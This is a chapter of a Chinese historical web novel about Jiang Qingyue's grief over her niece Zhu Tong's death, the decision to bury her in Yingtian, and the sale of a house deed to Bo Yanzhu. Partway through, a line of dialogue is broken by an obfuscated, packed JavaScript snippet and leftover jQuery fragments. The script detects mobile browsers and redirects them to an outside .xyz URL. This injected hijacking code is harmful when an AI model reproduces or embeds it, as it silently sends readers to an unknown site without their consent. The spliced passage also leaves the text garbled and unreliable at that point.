江清月急忙赶至朱潼所在的厢房内。


    “姨、姨母,你来了。”


    “你就别起来了,快躺下歇息。”江清月看着床榻上面如枯槁、身形消瘦的朱潼,鼻子一酸,两行泪滑过脸颊,她拿起一旁的扇子,轻轻扇着,口中暗哑重复道:“醒了就好,醒过来就好。”


    朱潼已没力气转动脖颈,只能勉强抬起眼皮,两颗乌丸似的眼珠子上下翻动,打量着周围。


    “这是,在哪儿?”


    “我们在应天府休养,待你好一些,我们便回盖州卫。”


    朱潼时不时仍咳嗽两声,像要咳出肺似的,浑身都跟着颤动,就快把这副身躯震得散架。


    “不回盖、盖州卫,我想去广州府,治腿疾。”


    江清月背过脸去拭泪,尽量压抑住颤抖的情绪,说道,“大夫说,你的腿疾已经好了,现在只需要安心休养。”


    朱潼的脸上挤出一丝笑。她的嗓子已经咳肿,每说一句话,都像吞刀子似的,索性点了点头,江清月便知道她的心,想要说些什么。


    每个人都脸上都挂着两圈乌青,一连好几日,众人的情绪都被调动着,时刻不敢松懈。


    一直到朱潼终于有了好转的迹象,大家才片刻放下心。


    “珠儿,这几日你最是辛苦,这里由我和灵玲看着,你们其他人都去休息吧。”江清月从兜里掏出管家钥匙,叮叮当当地交给兰姑,“兰姑,你得空时去收拾下院子,说不定过几日,便要接潼姐儿回去住了。”


    “江姑娘,你好好照顾身子,四姑娘的病还未好利索,你可不能倒下了。”


    “想来我也照顾不了什么,只是在这陪陪潼姐儿罢了。”江清月挥了挥手,“去吧。”


    那天夜里,久旱的应天府下起暴雨。从天要将黑时便看得出遍布的乌云,屋外的梧桐树叶被吹得翩翩起舞,窗户开了又关,关了又开,从缝隙里吹出呜呜的奏鸣曲。


    这满屋子的家具原本用于医馆家的女儿陪嫁用的,但朱潼体弱又娇惯,实在睡不了木板床,于是便花了高价住进这新屋。


    江清月坐在拔步床的床沿边,一手垂地,一手搭在床面上,轻轻握住朱潼的手。


    “姑娘,您在这里待了几个时辰了,晚上就让灵玲伺候四姑娘,您回去休息吧。”


    看着屋外的雷鸣电闪,一道道金光劈下,朱潼不自觉握紧拳头,浑身发冷颤,江清月见状,自是不肯离开。


    “夜里刮风、下雨,天怕是会凉一些,灵玲,你替我找一床被褥,我在此将就歇息着。”


    “诺。”


    顷刻间,雨滴便落下,先是淅沥沥的小雨,随后渐渐聒噪起来,豆大的雨滴打在青砖灰瓦上,发出密密麻麻的声响。


    伴随着雨声的,还有那如同火药炸响似的雷声。


    耀眼的白光闪过,即使闭上眼亦觉得自身在白昼,而轰鸣的响声却把人拉回现实,朱潼浑身冒着虚汗,虚声说道:“姨母,我怕。”


    江清月推开身上的被褥,站起身来,她半躺了上去,从背后环抱着朱潼,右手轻拍着她的胳膊,唱起摇篮曲来。


    “潼姐儿不怕,我在你身边。”


    两人紧紧贴在一起,最终随着雷声、雨声渐小而昏昏睡去。


    直到第二日清晨,灵玲推门进来替江清月时,她才从睡梦中醒来。


    江清月的手臂被压麻了,但她见朱潼睡得香甜,便不忍心打扰。


    她想给朱潼盖上被子,手指触碰到对方的手臂时,江清月心里顿感不妙,立即翻身坐了起来,轻轻摇晃着朱潼的身子。


    “潼姐儿,天亮了,该醒来了。”


    她一面哭,一面摇着。


    灵玲吃惊,跑到屋外大喊着大夫,原本昏暗的厢房点上蜡烛,三五人挤进这间小小的、原本应该是喜庆的屋子内。


    江清月悲怆得难以自已,全然没有她想象的那般成熟,至少还不足以淡然面对至亲至爱的离世,她声泪俱下,几近歇斯底里,任凭灵玲如何扶她,她都不肯离开床榻。


    她将头和脸深深埋在朱潼的背后,紧紧抱着她已经有些僵硬的身体。


    她原本应该害怕这样的场景,但不知为何,此刻却紧抓住不放,就好像只要不动手,朱潼就不会真的离去似的。


    “姑娘,该放手了,让四姑娘好好休息吧。”


    兰姑赶到现场时,屋内已经挤满了人,他们见惯了生死,却仍为他人的逝去而伤感。


    江清月的泪已经流尽了,她抹了抹脸颊,定定地坐起身来,看着周围的一切,顿时觉得是如此的陌生。


    她几乎没有迟疑,像是下定了什么决心似的,头也不回离开了那间屋子,但身体还未适应,于是一路上走的跌跌撞撞、东倒西歪,勉强扶着墙或是被搀扶,才不至于摔倒在地。


    虽然身体未倒下,但江清月的意志已然全军覆没。


    这段时间,她并不是从未想过最坏的结果,或许是昨日的回光返照给了她错觉,以至于希望破灭之后,江清月的力气也同那浮游的寄托一同被抽走了。


    她不知自己如何被抬回了府上,也不知浑浑噩噩躺在床上有多久,江清月甚至不明白那几日她为何想个不停,事后却又不记得想过什么。


    在那期间,兰姑代替了江清月承担下许多事,其他人——花芸、珠儿、灵玲、阿康与阿福,均安心应从,陪伴在她身旁,按部就班做起分内事。


    兰姑虽能应付大多数事情,可有一件事,她无权决定,却又亟待解决。


    那便是如何处理朱潼的后事。


    应天府气候炎热,尸身无法存放太久,兰姑曾向船家打听,仅靠她们手上那点银两,绝无可能将一具正在腐坏的躯体一路运至辽东。


    她们做不了决定,可江清月又一蹶不振,情况最终陷入两难。


    “你们照顾好姑娘。”


    兰姑留下这句话后便走了,只留下几个年轻的丫鬟。花芸有些担忧,将此话讲给江清月听了去,她却耷拉着眼皮,面无表情,眼神空洞。


    半日后,兰姑带着一脸疲意回到这个灰尘遍布的院子中,从腰间翻出几张银票,交给江清月。


    “江姑娘,我这还有些银票,我们先带四姑娘回辽东吧。”


    江清月的眼泪在眼眶里打转,她微微抬起头,目光里终于恢复了一丝生机,又低头看向那几张银票,说道:“兰姑,这是从哪里来的?”


    “女婿家是绸缎庄户,虽规模不大,但好歹有些储蓄,比平常人家充裕些。”兰姑说道:“姑娘不用担心,我是以自己的名义向他们借的,不会对郡王府有什么影响。”


    “这里唯一同康县郡王府有关的人已不在,那些虚名也不必在意。”江清月低声道:“兰姑,这份情我记下了,待回到辽东,我定然双倍奉还。”


    “潼儿受了太多苦,我不想再让她遭受海船的颠簸。”江清月站起身来,“兰姑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047618|162757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你去帮我打听一下,将她葬在应天府吧。”


    “可郡王妃那儿如何交差?”兰姑欲言又止,”哎,目前想来也只有这个法子了,我这就去办。”


    “安顿好这一切后,我自会跟阿姊交代。”江清月环顾四周,嘱咐道,“珠儿,这几个丫鬟中你最年长,也最可靠。我要出去办件事,不知多久能回来,在那之前,你来协助兰姑,处理府上的事务。”


    “好的,姑娘。”


    江清月对着铜镜理了理头发,无心打扮,换了身衣服便去了南阳街。


    因心里怀着愧疚和悔恨的复杂情绪,她这一路上都低着头,右手紧攥着左腕,任谁看也不像是康显郡王府出来的江二小姐。


    “敢问这里可是宏福客栈?”


    “来者何人?”


    “江氏,有要事同博家二老相商。”


    “二老不在客栈。”


    “他何时回?我当真有重要的事要拜托他。”


    跑堂上下打量了一番,以为她是走投无路的破落户,在江湖上听闻了博烟渚乐善好施的事,也前来撒泼混口饭吃,所以言语中多少有些戏谑。


    “二老为人正直,行侠仗义,但也不是什么闲事都管。他一早离开,说不准何时回,你要等,便到一旁去等。”


    江清月叹了口气,侧身站在离客栈大门几尺旁的荫蔽下。


    烈日当空,炎炎之光灼烧着皮肤,不一会儿就变得通红、发烫,浑身渗出密密麻麻的汗,浸湿了衣裳,也模糊了视线。


    江清月的呼吸变得沉重,身体虚弱无比,仿佛风轻轻一吹便能倒下。


    只要稍微开口,请求跑堂让她进去坐坐,即使被拒,处境也不会比现在更难过。可她却似乎有意让自己痛苦,仿佛这样的感觉源自忏悔。


    她慢慢扶着墙壁,双手抱膝,蹲了下来。


    不知过了多久,几乎是半夜三更,博烟渚才匆匆回到客栈。


    江清月从僵硬的躯体舒缓过来,从阴影中一把拉住他的衣角,迫使他停了下来。


    “是你,你怎么在这儿蹲着?”博烟渚似有些吃惊,连忙差手下将她扶进客栈,“三伏天,即使夜晚也难避暑热侵袭,若是中热又倒在这无人之地,恐有性命之忧。”


    江清月并未回应,只说出心里一直准备着的话。


    “上次二公子说,要买下广州府的府邸,此言当真?”


    “有康显郡王府的名声做担保,我自然也是愿意的。”


    江清月从衣袖里掏出那张有些被汗浸湿的红票,放在桌上捋了捋,“如今我带来了,二公子能否兑现诺言。”


    博烟渚凝眉看着那票子,又抬眼看看江清月,只见她面容憔悴,虽刻意整理过衣衫,却还是看得出仓促。


    “大莊,回房间取银票出来。”


    “公子,这会不会有些太草率了?”大莊俯于耳旁说道,“万一她是偷来的房契怎么办?要不要跟郡王府的县主确认一下?”


    博烟渚心想,原本应去广州府的一行人,莫名出现在应天府,县主家“丫鬟”如此东奔西走,心力交瘁,而县主却不现身,想来就是县主本人遇到了什么麻烦事,她的手下才如此焦头烂额,甚至慌不择路。


    “两百五十贯,就当是我同郡王府之间的人情,即使是越俎代庖,他们也不得不领。”


    江清月收下这样一笔“巨款”,仅留下一句淡淡的感谢,没有丝毫懈怠,立即赶了回去。